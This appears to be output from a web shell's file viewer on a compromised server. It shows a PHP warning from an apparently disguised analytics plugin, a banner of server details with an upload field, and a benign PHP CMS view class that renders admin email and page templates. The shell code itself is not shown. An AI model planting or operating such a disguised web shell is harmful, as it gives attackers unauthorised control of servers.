Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/kjvdictionary_store/modules/cms/view/ |
Upload File : |
<?php
class Cms_Admin_View extends View {
public function render_email() {
$html = <<<'BLOCK'
<div class="indented">
<h3 class="templateheader">{{page_title}}</h3>
<p>Please select from one of the current email templates</p>
<ul class="email-list list-provider">{{#each emails}}
<li><a href="{{link}}">{{value}}</a></li>
{{/each}}</ul>
<p style="color:#aaa;font-style:italic">Unlike normal CMS page templates, these email templates accept valid Handlebars commands.</p>
</div>
BLOCK;
$this('admin_email')->html($html)->title('Email Templates');
}
public function admin_cmspages() {
$html = <<<'BLOCK'
<div class="indented">
<h3 class="templateheader">{{page_title}}</h3>
<table class="display data-class">
<thead>
<tr><th>URI</th><th>Title</th><th>Template</th><th>Access</th><th>Modified</th></tr>
</thead>
</table>
</div>
<p><a href="/admin/cms-pages/decode" class="json-request">Decode Editpage token</a></p>
BLOCK;
$this('admin_cmspages')->html($html)->title('CMS Contents');
}
// maybe this should be moved to cms_singlepage addon
public function cms_selectpage() {
$html = <<<BLOCK
<form method="GET">
<div>
<select name="page" id="page" size="10" multiple>
{{#each pages}}
<option class="cms-optionitem" value="{{l}}={{c}}">{{c}}</option>
{{/each}}
</select>
</div>
</form>
BLOCK;
$this('cms_selectpage')->html($html);
}
public function cms_decode() {
$html = <<<BLOCK
<form method="POST" action="/admin/cms-pages/decode">
<p>This popup will provide information about an editpage token</p>
<div class="control-group sc-payload required">
<label for="payload" title="only include the text after '?editpage='">Payload</label>
<div class="controls"><input class="required" id="payload" name="payload" style="width:100%" type="text" value="{{payload}}" ></div>
<div class="status-message" for="payload"></div>
</div>
</form>
BLOCK;
$this('cms_decode')->html($html);
}
}